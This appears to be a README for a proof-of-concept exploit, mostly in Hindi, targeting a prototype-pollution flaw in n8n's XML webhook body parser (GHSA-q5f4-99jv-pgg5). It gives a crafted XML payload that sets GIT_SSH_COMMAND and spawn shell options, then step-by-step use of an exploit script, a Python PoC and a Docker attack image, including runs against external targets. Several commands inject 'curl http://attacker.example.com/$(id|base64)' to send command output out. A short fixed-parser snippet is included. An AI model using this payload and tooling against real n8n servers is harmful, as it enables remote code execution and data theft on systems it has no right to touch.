// packages/cli/src/middlewares/body-parser.ts  (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // lowercases tags — but does NOT block __proto__
    explicitArray: false,
    // ← NO tagNameProcessors
    // ← NO attrNameProcessors
});

function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

1. हमलावर एक सार्वजनिक वेबहुक ट्रिगर पर XML POST भेजता है:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. xml2js बॉडी पार्सर req.body.root बनाता है जहाँ '__proto__' एक
   स्वयं की गणनीय डेटा प्रॉपर्टी है:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. n8n का deepCopy() for...in + hasOwnProp के माध्यम से स्वयं की कुंजियों को
   पुनरावृत्त करता है। असाइनमेंट  clone['__proto__'] = deepCopy(attackerArray)
   [[Set]] एक्सेसर के माध्यम से चुपचाप clone के प्रोटोटाइप को बदल देता है।

4. n8n निष्पादन डेटा को DB में क्रमबद्ध करता है:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   __proto__ कुंजी शामिल है क्योंकि यह स्वयं की और गणनीय है।
   SQLite में execution_data तालिका में पुष्टि की गई।

5. पुनः लोड पर, JSON.parse '__proto__' को एक स्वयं की डेटा प्रॉपर्टी के रूप में
   पुनः बनाता है (सादा ऑब्जेक्ट, कोई सरणी लपेटन नहीं)।
      Object.assign(gitOptions, reloadedBody)
   gitOptions के प्रोटोटाइप को हमलावर-नियंत्रित ऑब्जेक्ट पर पुनर्निर्देशित करता है।

6. जब Git नोड simpleGit(gitOptions) को कॉल करता है:
      createInstanceConfig(gitOptions)
   प्रोटोटाइप श्रृंखला के माध्यम से config.spawnOptions पढ़ता है → सत्य →
   spawnOptionsPlugin पंजीकृत होता है।
   env ऑब्जेक्ट में GIT_SSH_COMMAND के साथ, git अगले SSH ऑपरेशन पर
   हमलावर के कमांड को निष्पादित करता है।

<env GIT_SSH_COMMAND="attacker_cmd"/>

chmod +x exploit.sh
./exploit.sh setup

./exploit.sh setup

[*] Pulling vulnerable n8n image (1.123.22) ...
[*] Building attacker image ...
[*] Starting vulnerable n8n target ...
[*] Waiting for n8n to become healthy ...
[*] Creating webhook workflow (Webhook → Code node) ...
[+] Lab is ready.

    Run:  ./exploit.sh demo        # verify the pollution primitive
          ./exploit.sh exploit     # deliver all three RCE payloads

./exploit.sh demo

[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

./exploit.sh exploit
# या एक कस्टम कमांड के साथ:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

pip install -r requirements.txt

# केवल सत्यापन — Git नोड की आवश्यकता नहीं:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --demo

# पूर्ण शोषण — Webhook + Git/SSH नोड वर्कफ़्लो की आवश्यकता है:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <path> \
    --demo

cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  If target is used as simpleGit config AND the prototype exposes
         e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ]  simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══

# हमलावर छवि बनाएं
docker build -t n8n-proto-pollution-poc .

# डेमो मोड (साझा प्रयोगशाला नेटवर्क से जुड़ता है)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# पूर्ण शोषण
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# बाहरी लक्ष्य के विरुद्ध (कोई नेटवर्क फ़्लैग आवश्यक नहीं)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <path> \
    --demo

./exploit.sh clean